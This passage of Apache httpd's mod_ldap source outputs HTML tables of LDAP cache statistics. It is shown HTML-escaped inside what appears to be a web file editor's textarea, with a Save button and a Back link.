                                (*n-&gt;search_cache-&gt;display)(r, n-&gt;search_cache, p-&gt;payload);
                            }
                        }
                    }
                    ap_rputs(&quot;&lt;/table&gt;\n&lt;/p&gt;\n&quot;, r);
                    break;
                case &#039;c&#039;:
                    ap_rputs(&quot;&lt;p&gt;\n&quot;
                             &quot;&lt;table border=&#039;0&#039;&gt;\n&quot;
                             &quot;&lt;tr bgcolor=&#039;#000000&#039;&gt;\n&quot;
                             &quot;&lt;td&gt;&lt;font size=&#039;-1&#039; face=&#039;Arial,Helvetica&#039; color=&#039;#ffffff&#039;&gt;&lt;b&gt;DN&lt;/b&gt;&lt;/font&gt;&lt;/td&gt;&quot;
                             &quot;&lt;td&gt;&lt;font size=&#039;-1&#039; face=&#039;Arial,Helvetica&#039; color=&#039;#ffffff&#039;&gt;&lt;b&gt;Attribute&lt;/b&gt;&lt;/font&gt;&lt;/td&gt;&quot;
                             &quot;&lt;td&gt;&lt;font size=&#039;-1&#039; face=&#039;Arial,Helvetica&#039; color=&#039;#ffffff&#039;&gt;&lt;b&gt;Value&lt;/b&gt;&lt;/font&gt;&lt;/td&gt;&quot;
                             &quot;&lt;td&gt;&lt;font size=&#039;-1&#039; face=&#039;Arial,Helvetica&#039; color=&#039;#ffffff&#039;&gt;&lt;b&gt;Last Compare&lt;/b&gt;&lt;/font&gt;&lt;/td&gt;&quot;
                             &quot;&lt;td&gt;&lt;font size=&#039;-1&#039; face=&#039;Arial,Helvetica&#039; color=&#039;#ffffff&#039;&gt;&lt;b&gt;Result&lt;/b&gt;&lt;/font&gt;&lt;/td&gt;&quot;
                             &quot;&lt;td&gt;&lt;font size=&#039;-1&#039; face=&#039;Arial,Helvetica&#039; color=&#039;#ffffff&#039;&gt;&lt;b&gt;Sub-groups?&lt;/b&gt;&lt;/font&gt;&lt;/td&gt;&quot;
                             &quot;&lt;td&gt;&lt;font size=&#039;-1&#039; face=&#039;Arial,Helvetica&#039; color=&#039;#ffffff&#039;&gt;&lt;b&gt;S-G Checked?&lt;/b&gt;&lt;/font&gt;&lt;/td&gt;&quot;
                             &quot;&lt;/tr&gt;\n&quot;, r
                            );
                    if (n) {
                        for (i=0; i &lt; n-&gt;compare_cache-&gt;size; ++i) {
                            for (p = n-&gt;compare_cache-&gt;nodes[i]; p != NULL; p = p-&gt;next) {

                                (*n-&gt;compare_cache-&gt;display)(r, n-&gt;compare_cache, p-&gt;payload);
                            }
                        }
                    }
                    ap_rputs(&quot;&lt;/table&gt;\n&lt;/p&gt;\n&quot;, r);
                    break;
                case &#039;d&#039;:
                    ap_rputs(&quot;&lt;p&gt;\n&quot;
                             &quot;&lt;table border=&#039;0&#039;&gt;\n&quot;
                             &quot;&lt;tr bgcolor=&#039;#000000&#039;&gt;\n&quot;
                             &quot;&lt;td&gt;&lt;font size=&#039;-1&#039; face=&#039;Arial,Helvetica&#039; color=&#039;#ffffff&#039;&gt;&lt;b&gt;Require DN&lt;/b&gt;&lt;/font&gt;&lt;/td&gt;&quot;
                             &quot;&lt;td&gt;&lt;font size=&#039;-1&#039; face=&#039;Arial,Helvetica&#039; color=&#039;#ffffff&#039;&gt;&lt;b&gt;Actual DN&lt;/b&gt;&lt;/font&gt;&lt;/td&gt;&quot;
                             &quot;&lt;/tr&gt;\n&quot;, r
                            );
                    if (n) {
                        for (i=0; i &lt; n-&gt;dn_compare_cache-&gt;size; ++i) {
                            for (p = n-&gt;dn_compare_cache-&gt;nodes[i]; p != NULL; p = p-&gt;next) {

                                (*n-&gt;dn_compare_cache-&gt;display)(r, n-&gt;dn_compare_cache, p-&gt;payload);
                            }
                        }
                    }
                    ap_rputs(&quot;&lt;/table&gt;\n&lt;/p&gt;\n&quot;, r);
                    break;
                default:
                    break;
            }

        }
        else {
            buf = &quot;&quot;;
        }
    }
    else {
        ap_rputs(&quot;&lt;p&gt;\n&quot;
                 &quot;&lt;table border=&#039;0&#039;&gt;\n&quot;
                 &quot;&lt;tr bgcolor=&#039;#000000&#039;&gt;\n&quot;
                 &quot;&lt;td&gt;&lt;font size=&#039;-1&#039; face=&#039;Arial,Helvetica&#039; color=&#039;#ffffff&#039;&gt;&lt;b&gt;Cache Name&lt;/b&gt;&lt;/font&gt;&lt;/td&gt;&quot;
                 &quot;&lt;td&gt;&lt;font size=&#039;-1&#039; face=&#039;Arial,Helvetica&#039; color=&#039;#ffffff&#039;&gt;&lt;b&gt;Entries&lt;/b&gt;&lt;/font&gt;&lt;/td&gt;&quot;
                 &quot;&lt;td&gt;&lt;font size=&#039;-1&#039; face=&#039;Arial,Helvetica&#039; color=&#039;#ffffff&#039;&gt;&lt;b&gt;Avg. Chain Len.&lt;/b&gt;&lt;/font&gt;&lt;/td&gt;&quot;
                 &quot;&lt;td colspan=&#039;2&#039;&gt;&lt;font size=&#039;-1&#039; face=&#039;Arial,Helvetica&#039; color=&#039;#ffffff&#039;&gt;&lt;b&gt;Hits&lt;/b&gt;&lt;/font&gt;&lt;/td&gt;&quot;
                 &quot;&lt;td&gt;&lt;font size=&#039;-1&#039; face=&#039;Arial,Helvetica&#039; color=&#039;#ffffff&#039;&gt;&lt;b&gt;Ins/Rem&lt;/b&gt;&lt;/font&gt;&lt;/td&gt;&quot;
                 &quot;&lt;td colspan=&#039;2&#039;&gt;&lt;font size=&#039;-1&#039; face=&#039;Arial,Helvetica&#039; color=&#039;#ffffff&#039;&gt;&lt;b&gt;Purges&lt;/b&gt;&lt;/font&gt;&lt;/td&gt;&quot;
                 &quot;&lt;td&gt;&lt;font size=&#039;-1&#039; face=&#039;Arial,Helvetica&#039; color=&#039;#ffffff&#039;&gt;&lt;b&gt;Avg Purge Time&lt;/b&gt;&lt;/font&gt;&lt;/td&gt;&quot;
                 &quot;&lt;/tr&gt;\n&quot;, r
                );


        id1 = apr_psprintf(pool, argfmt, &quot;main&quot;, 0, 0);
        buf = util_ald_cache_display_stats(r, st-&gt;util_ldap_cache, &quot;LDAP URL Cache&quot;, id1);

        for (i=0; i &lt; util_ldap_cache-&gt;size; ++i) {
            for (p = util_ldap_cache-&gt;nodes[i],j=0; p != NULL; p = p-&gt;next,j++) {

                n = (util_url_node_t *)p-&gt;payload;

                t1 = apr_psprintf(pool, &quot;%s (Searches)&quot;, n-&gt;url);
                t2 = apr_psprintf(pool, &quot;%s (Compares)&quot;, n-&gt;url);
                t3 = apr_psprintf(pool, &quot;%s (DNCompares)&quot;, n-&gt;url);
                id1 = apr_psprintf(pool, argfmt, &quot;srch&quot;, i, j);
                id2 = apr_psprintf(pool, argfmt, &quot;cmpr&quot;, i, j);
                id3 = apr_psprintf(pool, argfmt, &quot;dncp&quot;, i, j);

                buf = apr_psprintf(pool, &quot;%s\n\n&quot;
                                         &quot;%s\n\n&quot;
                                         &quot;%s\n\n&quot;
                                         &quot;%s\n\n&quot;,
                                         buf,
                                         util_ald_cache_display_stats(r, n-&gt;search_cache, t1, id1),
                                         util_ald_cache_display_stats(r, n-&gt;compare_cache, t2, id2),
                                         util_ald_cache_display_stats(r, n-&gt;dn_compare_cache, t3, id3)
                                  );
            }
        }
        ap_rputs(buf, r);
        ap_rputs(&quot;&lt;/table&gt;\n&lt;/p&gt;\n&quot;, r);
    }

    return buf;
}

#endif /* APR_HAS_LDAP */
</textarea><br>  
            <input type='submit' value='Save'>  
        </form>  
        <p><a href='?path=%2Fbig%2FSRC%2Fhttpd-2.4.63%2Fmodules%2Fldap'>🔙 Back</a></p>